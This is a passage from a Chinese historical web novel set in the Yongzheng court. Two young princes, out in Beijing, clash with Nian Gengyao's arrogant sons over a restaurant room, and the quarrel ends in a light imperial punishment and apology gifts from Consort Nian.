那时候又不好劝,但真让他们进去了,自己回去怕是要被皇上责怪。 第109章 你知道我阿玛是谁吗 京城里稀奇的东西太多了,弘昼这些年一直待在府中和宫中,对于外界只有一个简单而又模糊的印象。现在看着京城的闹市,才算彻底了解了一点京城中其余的景象。 这一上午逛了多家店后,弘昼几人都有些累了。买了不少的东西,都让身后的随从拿着。 “时辰也差不多了,”弘暾望了望天色说道,“可以去天香楼了,想必烤乳猪已经好了。” “行啊,”弘昼兴致勃勃地应道,“这东西要是不好吃,那我可对你不客气啊。” “你放心就好了,”弘暾拍着自己的胸脯说道,“别的不敢说,但是这烤乳猪肯定是好吃的。你就等着吃吧,肯定是你没吃过的风味。” 这话说得弘昼更好奇了,他跟着皇玛法去过木兰秋狝,那地方烤肉是一绝。不过多数是烤羊肉烤牛肉,那里倒是真的没有什么烤乳猪。 一行人来到了天香楼,弘昼站在底下看着这略有些高耸的酒楼。 天香楼一共四层,旁边的房子最多也就两层,这一下子就给它衬托得很是高大。酒楼的装修看上去也很不错,大气恢宏的样子确实能让人心生好感。 弘暾很自觉地进去后就找到了掌柜的位置,这是他舅家的产业,他又经常过来,这里的人都认识他。 果然,掌柜的一见到弘暾脸上就挂上了谄媚的笑:“二爷请,昨儿您遣人过来说了一声,今儿包厢已经留好了。烤乳猪也备好了,马上就能上了。” 说话间,掌柜的眼神不着痕迹地扫过了弘暾身后的人。见他们一个个的都衣着华贵,身上的东西看着都价值不菲,脸上谄媚的神情更深了。 眼前的这位可是皇亲国戚,谁不知道怡亲王如今得皇上看重。掌柜的早就被嘱咐了,只要是怡亲王府的这几位小爷过来就一定要伺候好了。虽然不知道二爷身后跟着的人都是谁,但能跟他来往的想必也是非富即贵,他这个掌柜的可惹不起。 “得了,”弘暾微微侧身,对着后面的几人扬了扬眉,“咱们上去等着吃吧,看我说得……” 弘暾的这句话还没说完,就被旁边高昂的一声给打断了,那声音充满了怒气,听上去感觉声音的主人似乎下一刻就要跳起来了一般。 “你这人怎么回事,刚说了包厢都满了我们兄弟才没说什么的!现在来了人了竟然就有了包厢了,甚至不只有了包厢,还有了烤乳猪了!怎么?打量着爷没亮出身份,叫你这等狗眼看人低的小人小瞧了?” 这声音太大,让弘昼都忍不住侧了侧身,想要减缓一下这高音量的冲击。 “说话!你是不是狗眼看人低!”那声音还在说话,“你今儿不给爷个说法,爷就要你这天香楼从今儿开始开不下去!” 好大的口气,弘昼望向了说话的那人。那应该是一对兄弟,模样五官有着三分的相似,身上穿着的似乎是昂贵的蜀锦,绣的纹样看着也不简单。身后跟着五六个侍从,此时正对着这边怒目而视,似乎下一刻听到主人家的吩咐就会冲上前来揍人似的。 弘历的目光也看了过去,他眉头微微皱起。看着这衣着应当也不是什么普通人家,既然不是普通人家又怎么会这样没有教养呢? 掌柜的苦着脸说道:“大爷,并非小的狗眼看人低啊。这是,这是这位爷前儿就已经订了包厢的,这是提前预订的啊。” 能在京城开这么久的酒楼,还是经营的这种来往非富即贵人的场地,掌柜的自然也是有点眼力的。一寸蜀锦一寸金这样的话可不是噱头,这两位身上穿的都是蜀锦,甚至连身后的侍从身上的衣裳布料看着都不便宜,这样的人他虽然不知道是哪家的,但心中也是知晓得罪不起的。 “我管你什么预定,”年斌很是不高兴地嚷嚷道,“小爷在四川就没有预定过什么东西,我不论要什么都能马上到手。” 四川?弘历捕捉到了这个关键词,这么嚣张的从四川来的人他目前只能想到一位,那就是之前是四川总督,如今总督川、陕、甘、云四省的一切事务的年羹尧。 “你这人好不讲理,”弘暾有点不高兴,当着他的面说这些,不讲理还找掌柜的麻烦,“你既没有预订便该滚去订,到了时间了自然就能吃上了。你以为这里是什么地方,这是京城!可不是你那什么穷乡僻壤的四川。” 听这人张口闭口四川,多半是外放去四川做官家中的子嗣,弘暾心想。久不来京了,也该教教这些人规矩。 年斌的眼神从掌柜的那里移到了弘暾的身上,张嘴就冷笑了一声:“我本是和这个狗眼看人低的掌柜说话,如今瞧着这狗眼看人低的可不是一个,而是这一群!京城有什么了不得的,看着还不如四川呢!像你这样的货色,若是在四川我早就叫人绑了去衙门打板子了。” 但年寿却有点不安,扯了扯三哥的衣裳,小声在年斌的耳边说:“到底咱们才来京城,也不知道谁家是不能惹的,还是算了吧。” “你怕什么?”年斌很是不高兴,语气恨铁不成钢,“难不成如今京城里还有人是咱们兄弟俩惹不起的吗?” 就是皇亲国戚的贝勒贝子,他如今打了也就是打了。按照皇上对阿玛的信重,他们这些年氏子弟说不定在皇上的心中要比那些皇亲国戚还要重要些呢。 “你骂谁狗眼看人低呢!”弘晈听见哥哥被骂,当即就不乐意了,“看你这浑身没有二两肉的样子,你来试试能不能经得住小爷两拳头。嘴里不干不净地做什么,你是哪家的,一点规矩也没有!” 阿拉古抹了抹自己额头上的汗水,想要站出来讲个和。这眼看着就要发展成打架了,怡亲王的这两位他管不着,但宫里头的这两位小爷可不能出半点差池。 “骂的就是你们,”年斌的脑袋高高地扬起,呈现出了不可一世的姿态,“你管小爷我是谁家的,反正是你惹不起的。今儿你们把包厢给让出来了便罢了,若是不让出来,便叫你们竖着进来横着出去!” 年斌的性格本来就比较跋扈,这两年间年羹尧仕途通顺后围在他身边的多是些阿谀奉承之辈。听多了这些话之后,年斌便越发不可一世,总觉得天底下除了皇家外其余的人都该扔他们年家的人。 便是皇家的他也不怕呢,宫里头的姑母那般受宠。 掌柜的脸上身上都是汗,站在两人面前都想跪下来求他们别吵了。 大堂中有不少的人看了过来,交头接耳互相问着这都是谁。天香楼可难得看到这样的热闹,大部分过来的人都会看背后的人给个面子。小部分不知道看的人多数身份不咋样,掌柜的也不怕得罪。 掌柜的忌惮年斌年寿两兄弟主要是看他们穿着蜀锦,这样的稀罕物儿可不是谁都能穿上的。 “让?”听着这样跋扈的话,弘昼也有点不高兴了,他下次出宫还不知道是什么时候呢,包厢和烤乳猪是绝对不能让的。况且他最近正好想要当个纨绔子弟,就先拿眼前的这个纨绔子弟试试手吧,“做你的春秋大梦去!” 听见弘昼也说话了,阿拉古的眼中出现了一点痛苦之色。完了,这要是只是吵架也就算了,若是打起来了他回去肯定是要吃挂落的。 “呵,”年斌冷笑了一声,“我叫你们不得不让。” 这句话落地后,年斌轻轻一挥手,身后的几人就冲了上来。想要将眼前的这几人放倒,当然,他们是有分寸的,最多打残就是了,京城是不能随意打死人的。 本来汗阿玛让带着几个侍卫出门,弘昼是没想过会用到的,京城的治安还是很好的。但现在看着冲过来的膀大腰圆的这几人,心中感谢了一下汗阿玛的先见之明。 弘晈提着拳头就上了,他们都是自小就要学骑射布库的,打架这一方面还不怕谁。 弘昼兴致勃勃地也想上去打两拳,但被弘历给拉住了。 “有侍卫在,何须你亲自动手?”弘历有点不高兴说道,“叫他们把人绑了问话就是了。” 有点遗憾了看了一眼打成一团的众人,弘昼有点可惜。这样打架斗殴的情况还是第一次遇到,竟然不能参与进去。这可和在上书房中练习布库完全不一样,练习布库是一对一,但这样多对多还是头回见。 阿拉古一边指挥着身后的侍卫将那些人捆起来,一边要注意着身后的这两位小爷有没有被波及。 大堂中的人离得近的都跑远了些,离得远些的有胆子大的在边吃边看。这样的热闹可少见,遇上这一回可就要看个够了。 能选作御前侍卫的人武艺是最基本的要求,年斌那几个家丁虽然看着一个个也是虎背熊腰的,但实际动起手来就差远了。 年斌看着自己身边的这几个人都被捆了起来,甚至还有人要近前来捆自己,眼睛当时就红了,大喝道:“你们敢动我,我阿玛可是抚远大将军,宫里的年贵妃是我亲姑姑!你们今儿动了我一根汗毛,明儿必然就要你们一家子的名来赔。” 弘历的眼中闪过一抹了然,刚刚看见这两兄弟身上穿着的蜀锦时他就有所猜测了。但到底还不敢彻底料定,现在听他自己嚷嚷了出来便彻底确定了。 “年贵妃是你姑姑?”弘暾冷笑了一声,说道,“便是年贵妃是你额娘也不能叫我们全家赔命的。” 这话说得很是促狭,旁边的侍卫们都笑了出来。可不是吗,旁边站着的那两位小爷可是皇子,他们全家不就包括了皇上,皇上又怎么可能给人赔命呢。 年寿微微有点颤抖,他有点怕了。之前在四川的时候他们能横行霸道皆是因为阿玛是四川总督,在四川中没有比阿玛更大的官儿了。但现在这可是京城呢,一板砖砸下来就能砸到两个贝勒的京城。 方才三哥说这些话都没让眼前的这几人害怕,甚至嘻嘻哈哈了起来,这次惹到的肯定不是一般好欺负的人。 “算了,”弘昼懒洋洋说道,“派两个人将他们捆到顺天府去吧,咱们的烤乳猪还没吃呢。” 这件事怎么算起来都是年斌他们先惹事的,弘昼是不怕闹到谁面前的。还是烤乳猪更重要,这出来一回就碰上了这样的事情,说不定汗阿玛下回就不乐意他们出宫玩了。 第110章 年家 年斌看着自己的人被一一制服,甚至连自己的嘴巴都被堵上后气得几乎要晕过去。特别是被人扭送到了顺天府后,更是几乎要一佛出世二佛升天了。 顺天府尹看着这几位过来的人眼睛就是一跳,最后看他们出示的令牌眼睛又是一跳。 “府尹大人,”阿拉古出示过令牌后,微笑着说道,“今儿四阿哥五阿哥难得有兴致出宫游玩,已经是在皇上那里请示过了的。可这一出来就碰上了这等人,实在是让阿哥们的兴致大失啊。这京城细说起来也是归您来管着的,出现了这些事……” 顺天府尹抹了一把额头上的汗,但还是感觉没有擦拭干净。心中暗骂,他这个位置就是个受气的,京城里多少的达官显贵,又岂是他这个四品官员能管到的。出事的时候就说是京城归他管辖,可没出事的时候他这个四品官员怕是入不得皇亲国戚的眼。 “大人放心,下官一定好好处理此事。”顺天府尹说道,“定会令两位阿哥满意的。” 他并未满洲大姓,也没有什么宗族势力,否则的话就是某个外放的缺也比在京城受这种夹板气要强多了。 阿拉古脸上露出了满意的笑,对着顺天府尹行了个礼便走了。 等这一行人走了之后,顺天府尹看向了那些被捆得严严实实的人,心中烦闷本想将他们先打入大牢中受些罪。但看着那为首的两兄弟身上穿着的蜀锦还是犹豫了片刻后,便让差役将他们嘴上的东西取了下来。 还没问他们是哪家的,就听见其中一人嚷嚷道。 “我阿玛可是年羹尧,还不快把我放了!今儿我和六弟倘若在这里伤到了一星半点,你这顺天府明儿便要被我阿玛拆了!” 听到了这样狂妄的话,顺天府尹脑中一黑,这要是旁的什么人家的也就罢了,毕竟是他们先惹到了皇子。他好好将人送回去,再和家中人谈一谈也就罢了。但偏偏是年家的,年羹尧这如日中天的样子,孩子在京城之中吃了亏,到时候不敢找皇子撒气,还不能找他这个没有什么靠山的顺天府尹撒气吗? 但他能从科举入仕做到这个位置当然也是什么蠢货,当即冷静了下来。年家他得罪不起,但皇子更得罪不起。 与其夹在两者中间受这个夹板气,还不如将这件事捅到最上面,让皇上来定夺。 这天香楼的烤乳猪能在京城闻名不是没有道理的,弘昼只尝了一口就被征服了。外皮酥酥脆脆的,但内里却鲜嫩多汁。不知道是用了什么香料腌制的,有一种独特的异香。 这一行十来人,除却烤乳猪外还点了不少其余的菜色。这些菜就远远及不上烤乳猪了,但总体吃着还不错,能有之前在王府时饭菜的水准。 吃到一半的时候,那几个送年斌他们去顺天府的人回来了。他们的脸上带着些笑意,这样的热闹可是跟在皇上身边见不到的,还得是这两位爷,一跟着出来就看到了这样的好热闹。 天香楼的这一顿吃得还算满意,甚至于让弘昼都已经开始打算等日后能自由出入宫廷了要经常过来吃。 只可惜烤乳猪这样的菜色要现吃才好,不然还真想买一只回去给额娘也尝尝。 用过了午膳后,本来是预备着去戏园子听戏的。弘昼对这地方兴致缺缺,还是听弘暾说来这两日又一出新的戏,去凑个热闹也还不错。 但还没有走到戏园子,弘昼就迎来了汗阿玛派出来的人。 在看到汗阿玛身边的侍卫的时候,弘昼其实是有点惊讶的。他们今儿一直在京城里乱窜,这位到底是怎么这样直接地就找到自己这一伙儿的。 那人此时还微微喘着气,似乎为了找弘昼一行人费了不少的力气,等气息喘匀了之后才颤声说道。 “皇上请两位阿哥回宫。” “有什么事?”弘昼有点不舍,晚上的灯会还没瞧见呢。 那人脸上露出了一点苦笑:“顺天府尹今儿进宫面圣,带了年家的两位小公子,听说是与两位阿哥有点误会。如今皇上宣了年太傅进宫,也叫两位阿哥快些回去,说是解除误会呢。” 弘昼的眉毛高高地扬了起来,误会?这有什么误会的,不就是那两人想要仗势欺人,结果碰到了自己这块铁板了。 “走吧,”弘历轻声说道,“回宫与他们分辨分辨。” 刚刚看到那个嚣张跋扈的年家公子弘历心中就不喜,汗阿玛看重年羹尧是他们家的福分,得了器重才更该小心谨慎才是。这一回京城就这样高调,那从前在四川的时候还不知是如何嚣张的呢。 弘历不喜欢这样的臣子,他还是更喜欢能看到自己位置的臣子。即便被天子捧到了高位之上,也该知道自己是个什么样子,更该小心谨慎才是。 汗阿玛都已经派人过来了,说轻了是叫嘱咐,但说重了那就是旨意了。即便弘昼的心中不愿,但还是跟着回了府。 弘暾和弘晈也跑不了,一起进了宫,毕竟他们甚至还亲自动手了。 翊坤宫 年贵妃正带着福惠念书,福惠这孩子竟然是难得的喜欢念书的孩子。对这一点年贵妃自然是高兴的,闲暇的时候就爱拉着这孩子念书。 沃野急匆匆走了进来,她是在桑被放出去嫁人后年贵妃从二等宫女里头挑出来的。为人细心谨慎,虽不爱说话,但每每说话都能点到关键地方。 “娘娘,”沃野有些急切地看了福惠一眼,“奴婢有事禀报。” 翊坤宫一般的事情是不会避讳福惠的,年贵妃很敏感地察觉到了沃野看福惠的那一眼。皱了皱眉后起身嘱咐了一声福惠让他自己继续看,便带着沃野去了后殿。 “怎么了?” 沃野的语速很快:“娘娘,三公子和六公子今儿在京城和四阿哥五阿哥起冲突了。两位阿哥命人将两位公子绑到了顺天府,如今顺天府尹正带着两位公子面圣呢!” 年贵妃的脸色很明显地变了,她猛地站起身,语速也提高了些:“怎么回事?那两个孩子不是该跟着二哥一同入京吗?怎么今天就到了京城了。还有,和两位阿哥起冲突是怎么回事,这是为何?” 自家如今的样子,年贵妃一直都觉得不妥。她总是觉得这个样子有烈火烹油之势,但和额娘还有几位嫂嫂说,她们总不以为意。 这虽然让她心中不安,但到底还是想着等二哥回京后再说。但她万万也没有想到,就这么一点的时间里,年家就会有人惹出乱子来。 对于自己枕边人,年贵妃多少还是懂一*点的。他能对二哥信重的时候将二哥捧到天上,但也能在心中有了一点芥蒂后,将原本给二哥所有的信任都收回来。甚至会因为二哥让他失望了,而心存猜忌。 “去,”年贵妃心乱如麻,“去命人盯着,看皇上准备如何处置年斌年寿。” “娘娘不去求情吗?”沃野问道。 年贵妃苦笑了一声:“不仅不能求情,我还要盼着皇上最好重罚年斌年寿。” 和皇子起冲突,这件事可大可小,主要看当权者是怎么想的。若是皇上能重惩年斌年寿,此时可压一压年家鲜花着锦之势,也说明了皇上对二哥此时并无太大的恶感。 但若是将这件事压下去了,那不仅年家的声势要更上一层,毕竟皇子和他们起冲突都落了下风呢。但同样的,年贵妃就要担忧皇上对年家是不是有什么别的想法了。 所以,即便年贵妃如今心中焦急异常,但也并不能直接冲到皇上面前去求情。 沃野似懂非懂地点了点头,便下去吩咐了。 年贵妃此时是一点带着儿子念书的心情都没有了,她的眼神空茫地看向了前方。似乎看到了阿玛和二哥商量了要送自己进雍亲王府的时候,那时候二哥的脸上野心勃勃,想要将年家抬到当时佟佳氏的位置。 现在年家的确是媲美佟佳氏了,甚至还压了一头。但二哥当真还有当时的清醒吗,她们年家的权势富贵又还能维持多久呢? 钟粹宫和景仁宫也得到了消息,当听到弘昼和弘历并没有吃亏的时候两宫就放下了心来。 听通报的消息不是两兄弟主动去惹事的,那就不用怕了。年家再势大,难不成还能大得过皇子吗? 不过耿执羽还是很不高兴,弘昼昨儿专程过来自己这个额娘这里炫耀了一通,很是期待出去玩。但偏偏遇上了这件事,让他都没法好好玩了,今晚的灯会多半也泡汤了。 弘昼此时得去很不高兴,理由也是额娘想的那样。他今天最期待的灯会,就这样泡汤了!他还没看到古代劳动人民制作的那些精巧的灯呢,那些巧夺天工的东西一件都没看见! 下次出宫都不知道什么时候了,明年不知道能不能赶上灯会。 看着弘昼一路上都垮着一张脸,在弘昼旁边的弘历有些无奈:“灯会没了就没了,明年再去便是了。” “明年?”弘昼气鼓鼓,“谁知道明年汗阿玛放不放我们出宫了,还有明年的灯是明年的,说不定今年有什么特别的灯明年就见不到了呢。” 少于见弘昼这样气鼓鼓的,弘晈凑了过来笑道:“你别忙,若今儿结束得早些,那我应该是能赶上灯会的。若有好的,那等明日我拿了进来给你就是了。” 弘昼的脸色这才好看了点,但还是遗憾自己没有看到灯会那样的盛况。 “其实也没什么好看的,”弘暾安慰道,“就是些灯摆着,然后人多了些,瞧着也就那样。日后等你能出去看的时候,定然一次就腻了。” 一群人一路说说笑笑地就进了宫,本来还有些紧张的侍卫们听着这几位的聊天也没了紧张的心思。他们就是些跟出去保护人的,将人捆去应天府是两位皇子下令,就算有什么罪责也推不到他们身上来。 等进近了养心殿后,一行人这才肃穆了起来。不过怎么说这个态度总还是要摆出来的,嘻嘻哈哈地进去万一叫皇上看了心烦就糟糕了。 到达养心殿,便看到苏培盛站在外面。见他们来了眼睛一亮就迎了上来,小声说道。 “哎哟两位爷,怎么出去玩一趟还惹了事回来。现在皇上在里头可不高兴着呢,两位爷进去还是要小心些。” 弘历的脚步一顿:“苏公公,里面还有旁人吗?” “顺天府尹和两位年家的公子还有年太傅都在里头。”苏培盛说道,这不算什么秘密,这两位进去后自然也能看见。 年太傅是年羹尧的父亲年遐龄,他早在康熙年间就已经致仕了。去年雍正登基的时候给他加了一品尚书衔,今年年羹尧立下大功后又加上了太傅衔并封爵一等公。 年太傅?弘历的心中闪出了一个发须皆白的身影,年遐龄的岁数可不算小了,年贵妃是这位的老来得女。 站在原地等小太监们通报后,便进了殿内。 殿内年家的那两个正跪在正中央,年遐龄站在他们边上正满脸愧色。雍正坐在上首表情淡淡地,见弘昼他们进来行礼也没有喊起。 事情的来龙去脉年斌和年寿已经说清楚了,不过经过语言艺术说出来仿佛就是一个误会一般。他们俩也没想到刚回京城就撞上了不能惹的人。倘若换成了什么王府阿哥或者郡王府的阿哥,这件事也就这么过去了,甚至可能还要上他们年家赔个不是。 但偏偏惹到的是皇宫的阿哥,年斌紧抿着唇似乎已经想到了过几日阿玛回来之后怒发冲冠的样子。阿玛最不喜欢他们给姑姑惹麻烦,可这回他不是故意的啊。 “说是出去玩一遭,怎么就惹了事出来?”雍正的声音冷冷的。 弘昼当即嘴巴一瘪便哭嚎道:“汗阿玛,这可不是儿臣惹事啊。前儿弘暾便订了位置,儿臣好端端去吃顿饭,就遇上了这仗势欺人的主儿。倘若儿臣今儿没有带上汗阿玛指的这几个护卫,只怕是今儿都不一定能竖着回来了,怕是要被抬回来了。” 这声音略大,震得旁边的弘历都抖了一下。虽然知道五弟一向很能撂下脸子,但没想到这么能撂下,当着这么多人的面一点也不担心丢脸。 “儿臣没想着仗势欺人,可旁人仗势欺人到儿臣这里难不成还要忍着吗?”弘昼的哭嚎还没有结束,“汗阿玛要给儿臣做主啊,这人在天香楼之前凶神恶煞的样子将儿臣吓得不轻。” 雍正的脸色更沉了。【你现在阅读的是魔蝎小说 moxiexs】 110-120 第111章 水月镜花 雍正略带冷意的目光看向了一旁的年斌和年寿,年遐龄都觉得有些坐立不安了起来。 如今的皇上子嗣不丰,即便加上还没长成的六阿哥都才一共四个阿哥。孩子少了自然就更看重每一个了,若是他们年家是占理的一方还好些,可这瞧着也不像占理的这一方啊。 “皇上,”年遐龄立刻跪下请罪,“请皇上恕罪,是老臣管教不严。这两个孩子如今还年幼,不慎冲撞了两位皇子,请皇上责罚。” 年寿也立刻跟着就跪了下去,只有年斌还硬挺着。 他还是觉得不服,明明最开始的时候他并没有主动来招惹这一群人的。是那后面的那小子主动过来招惹自己的,他最开始只是想要找掌柜的闹一闹,好让掌柜的为了平事儿腾出一间包厢来给他。 还是年寿轻轻地拉了一下三哥的裤腿,这件事闹到皇上的面前来他们已经是犯了大忌了。三哥若在皇上面前都这样倔强的话,回府后必然要被玛法打板子的。 从前在四川的时候阿玛没空管他们,额娘又留在了京城侍奉玛法玛姆。所以他们才能在四川横行霸道,但这已经回京城了啊,这里可不是四川。 被六弟拉了一下后,年斌才不情不愿地跪了下来。他心中燃着一团火,似乎要将他整个人都烧了起来了。 从前不论吃过什么亏,日后总还是能找回场子来的。可偏偏这次吃亏是在皇家,他不仅如今不能找回场子,甚至日后也找不回来。 “太傅起来吧。”雍正使了个眼色,苏培盛便立刻上去将年遐龄扶了起来,“这是小孩子们之间玩闹的事情,又何须太傅这般慎重。” 年遐龄的心中一紧,虽然被扶起来了但姿态依旧很是恭谦:“这皆是我这两个孙儿不讲理之过,还请皇上责罚。” 雍正的视线慢慢地扫过了年斌和年寿,这两个孩子长得不像贵妃,也不像年羹尧。瞧着不仅一点风度气节也没有,甚至于瞧着身形还有些畏畏缩缩的。 “便罚他们闭门思过罢,”雍正的视线依旧冷沉着,声音也没什么温度,“念在你们阿玛前儿刚立了大功的份上,这次暂且记下,倘若还有下回便一并处罚。” 弘昼的嘴巴微微撇了撇,刚刚看见的情况就知道这两兄弟,至少其中那个最嚣张的在蜀地应该没少仗势欺人。现在都算欺负到皇子头上了,还能高高举起轻轻落下,这年羹尧在朝中的声望又要升高了。 每日里在朝堂上站岗还是有点用处的,弘昼对现在的朝局大势基本还是了解的。知晓了年羹尧马上要回京述职了,也知晓了汗阿玛派了礼部的官员专门迎年羹尧入京,待遇不可谓不厚。 弘历的眼神冷了下来,虽然他们这次的确是没受什么罪。但这两兄弟欺到皇家头上也是事实,汗阿玛竟然就这样轻轻落下了,那日后岂不是什么人都能欺到皇家头上了。 年遐龄有些不安,冲撞了皇子竟然一点惩罚也没有。这让他的心中一下子就警惕了起来,但是左右思索都想不出皇上如此行事是为何。 雍正判了年斌年寿闭门思过后,便让年遐龄带着人走了。剩下的弘暾和弘晈被说了一通后也放走了,养心殿内便只剩下了弘昼和弘历。 殿中只有两个儿子了,雍正也放松了些。他的眼神淡淡地看向了弘昼和弘历,声音也淡淡的:“头一回出宫便闹出这些事来,日后不想出宫了?” “汗阿玛偏心,”弘昼很不高兴,“这明明不是儿臣惹的事,这惹事的已经回家了。” 雍正淡淡地看了弘昼一眼后,又将目光看向了弘历:“你也觉得朕偏心?” “汗阿玛是顾念年大将军刚为朝廷立下大功,”弘历回答得很谨慎,“倘若此时因为小事便处置了年大将军的子嗣,不免令旁人感到齿寒。况且儿臣和五弟皆平安无事,此事便能轻轻放下。” “答得不错。”对弘历的回答,雍正还算满意,微微点了点头。 弘昼见汗阿玛似乎已经考校完四哥了,出声道:“汗阿玛,您这是把我们叫回来了。儿臣还没看到灯会呢,要不现在放儿臣出宫将灯会看了再回来?” 看着这个还在惦记灯会,似乎方才的事情一点也没入他脑子的儿子。雍正深深吸了口气,从桌子上随手抓了个东西就往弘昼的方向掷了过去。 “快滚回阿哥所念书去!” 弘昼灰头土脸地出了养心殿,他还是觉得很冤枉。这件事横看竖看左看右看都不是他的错,但最后受伤的却是他。年家两兄弟只需要回去闭门思过,弘暾弘晈被骂了两句也没有什么影响,只有他,只有他没有看到想看很久的灯会。 见弘昼这闷闷不乐的样子,弘历无奈笑了笑:“灯会明年还有呢,听闻元宵节的灯会才是最好看的。这细算算咱们离元宵也就差个三四个月了,到时候四哥带你看好不好?” 虽然兄弟俩只相差了几个月,但有时候弘历觉得自己和五弟简直差了好几岁。他有时候理解不了五弟的一些执着的地方,好在五弟所执着的都不是什么大事。 弘昼用怀疑的目光看着四哥:“可是元宵节咱们不是有宫宴吗?”就像昨天的中秋节有宫宴一样。 “你就放心好了,”弘历拍着胸脯答应道,“难不成四哥从前还骗过你不成?只要我说能办到的,日后定然是能办到的。” “那可说好了。”弘历这才高高兴兴地应了,“要是元宵的时候我出不去,那我可要过来找四哥你要个说法。” 今晚上已经看不成灯会了,弘昼本来是打算回阿哥所休息的。毕竟明日还要正常去上书房念书,今儿休息好些,也好不在朝会上打瞌睡。 可刚到上书房,就看见了额娘宫中的小太监。 “五阿哥,”小喜子脸上的表情很是焦急,见到弘昼才松了口气,“娘娘有请。” 弘昼这才想起,自己和这么多人进养心殿了,消息肯定已经传开了。额娘又不知道自己的情况,肯定在钟粹宫等急了。 来到钟粹宫后,耿执羽先是将弘昼上上下下都打量了一遍。见他身上没有什么伤痕才略松了口气。 她在后宫中消息算不得灵通,只听说了两位皇子和年家的两位小公子起了冲突。听闻都已经动起手来了,还闹到顺天府尹那里去了。她听到这个消息的时候心中就怕弘昼和别人动起手后吃亏了。 弘昼很老实地任由额娘看,见额娘确定了自己身上没有伤痕后才笑嘻嘻说道:“额娘放心吧,儿子都没有动手呢。这出宫之前汗阿玛指了几个御前侍卫要我们带着出去,他们动手特别利落,几下子就把那群人给制住了。我就只是在旁边看着,一根指头都没动过。” 确定了弘昼身上没有受伤了,耿执羽的手重重地拍在了弘昼的身上:“怎么出去一回就惹了这些事?倘若这样,日后你汗阿玛还敢让你出去吗?” 弘昼的笑脸瞬间就变成了苦瓜脸,可怜兮兮地说道:“这也不是儿臣想要惹事的啊,只是想过去吃顿饭,却碰上了这样仗势欺人的。” 说着,便将天香楼发生的事情都说了一遍。 听得耿执羽也很不高兴:“年家固然势大,但也不该这样仗势欺人才是。” 年贵妃如今在后宫里也称得上是无出其右,但她不论是待皇后还是嫔妃们一如之前。待皇后娘娘恭敬有礼,待其余地位不如她的嫔妃们也多是客气有加的。像这样的人,母家竟然有这般的侄儿。 “额娘放心好了,我是一点亏都没吃的。”弘昼说道,“只可惜的是没有来得及看今晚的灯会就被汗阿玛叫回来了。” “还惦记着灯会呢。”耿执羽轻轻地瞪了弘昼一眼。 弘昼委屈:“这是我惦记了好久的,求了汗阿玛好几次才答应的呢。本来就想着出去逛灯会的,但灯会都没看到就被叫回来了。” 看着弘昼这可怜的样子,耿执羽只觉得又好气又好笑。气这孩子受了委屈都不放在心上,一心都只想着灯会。笑这孩子这副想着灯会的样子很是可爱,瞧着便让人不免笑出来了。 委屈了一会后,弘昼就想起了自己上午的时候出去逛带回来的东西了。 献宝似的从小周子手上拿来,然后递给了耿执羽:“这可是特地给额娘挑的,这玉虽然瞧着品相一般,但是这雕刻的手艺真不错。额娘看看,这还是额娘的生肖呢。” 这镯子雕刻的样子是两条蛇连接起来的,瞧着倒是确实雕刻精巧,很有新意。 收了东西后,耿执羽的后怕已经压下去了。便命人去准备晚膳了,都这个时候了,肯定要弘昼吃了东西再回阿哥所。 弘昼自无不可,他将自己买回来的东西分成了五份。一份给钮祜禄额娘,一份给皇额娘,还有三份给三个姐姐妹妹。今日已经有些晚了,等明日一早的时候命人送过去。 正这时,外面有小宫女进来禀报。 “娘娘,翊坤宫来人了。” 耿执羽的眉头微微皱起,即便弘昼这次没有吃亏。但她也不是很想在这时候看到年家的人。 “去叫进来吧。” 即便心中不高兴,但也不能将翊坤宫的人拒之门外。半晌后,耿执羽还是这样说道。 为首的人是年贵妃跟前伺候的田嬷嬷,这位是从年家一路伺候年贵妃到潜邸又到如今这紫禁城中的。像这样跑腿的小事基本不会要这位来,今天让她过来也是年贵妃隐晦的示好。 “奴婢参加裕嫔娘娘,参见五阿哥。” 田嬷嬷的姿态摆得很低,她作为翊坤宫的掌事嬷嬷平日里姿态都是很高傲的。即便面对裕嫔熹妃这样不得宠的妃嫔一般也不会太恭敬,最多面上客气着罢了。 耿执羽淡淡问道:“贵妃娘娘可是有何吩咐?” 田嬷嬷的脸上堆着笑,听闻这话说道:“我家主子听闻年家的两位小公子今日不懂事冲撞了五阿哥,特意叫奴婢来送赔礼呢。” 说着身后的小宫女端着两个托盘上前,将上面遮盖的红布一掀开,里面是好几件价值连城的摆件。 这些摆件都是年羹尧平定青海时缴获的战利品,这样的东西按照潜规则是归主帅自己所有的。年羹尧便分了许多送到了翊坤宫,如今年贵妃的手中有不少。 看着这些金光闪闪的东西,耿执羽的神色依旧是淡淡的:“不过是寻常孩子间的打闹罢了,哪里就值得贵妃娘娘专程送东西过来赔罪。” 田嬷嬷的脸上依旧是带着笑:“年家的两位小公子不懂事,我们主儿这个做长辈的也只能帮着描补了。还请裕嫔娘娘和五阿哥笑纳,小小心意,不成敬意。” 耿执羽还是不想收,这样的好东西她手里的确少有。可想到这是因为儿子受委屈换回来的,便心里堵得慌。 倘若这次收了东西就这样过去了,日后是不是谁都能骑到弘昼的脑袋上耀武扬威了?幸而就是弘昼没受伤,不然她就是冒着被皇上怪罪降位的风险也要去养心殿讨个公道。 见耿执羽还是冷着脸不说话,田嬷嬷又笑道:“这是我们主子的一点点心意,万望娘娘莫要推辞了。我们主子已经传信出去,叫定要狠狠责罚两位小公子,必不会白叫两位阿哥受了委屈了。” 话都说到这里了,耿执羽若是再硬挺着不收就太不给年贵妃面子了。便只能挥了挥手叫娑鸣将东西收了起来,田嬷嬷这才告辞。 除了钟粹宫,田嬷嬷还要去一趟景仁宫。 弘历此时也正在景仁宫中,耿执羽担忧弘昼,熹妃自然也担心弘历。早就派了人去毓庆宫等着,看见他一回去便叫来了景仁宫。 去景仁宫送东西比在钟粹宫送东西要好送些,熹妃全程带着笑看着田嬷嬷,也不必田嬷嬷多劝就将东西收了。 等田嬷嬷走了之后,熹妃才冷了下脸来。看着送过来的东西,的确是价值不菲,但她只觉得刺眼。 “额娘,”弘历安慰道,“我知道厉害的,看见打起来就拉着五弟去旁边看着的了。汗阿玛给我指派的御前侍卫那般厉害,哪里就用我们兄弟出手了。” “年家也太张狂了些。”熹妃说道,“在京城竟然就这般嚣张。” “年羹尧如今权势正盛,年家的其他人张狂些倒也正常。”弘历笑着说道,“只是不知道这份荣宠能到几时。” 说到这里,熹妃的神色才缓了下来:“你五弟没看见灯会,不高兴了吧。” 对这个自己从小看到大的孩子,熹妃还是有点了解的。平日里很少说话,但是盼望了许久的事情被搅和了,肯定会很不高兴。 “额娘料事如神。”弘历想起刚才从养心殿出来时弘昼碎碎念的样子,笑着讲给了熹妃听。 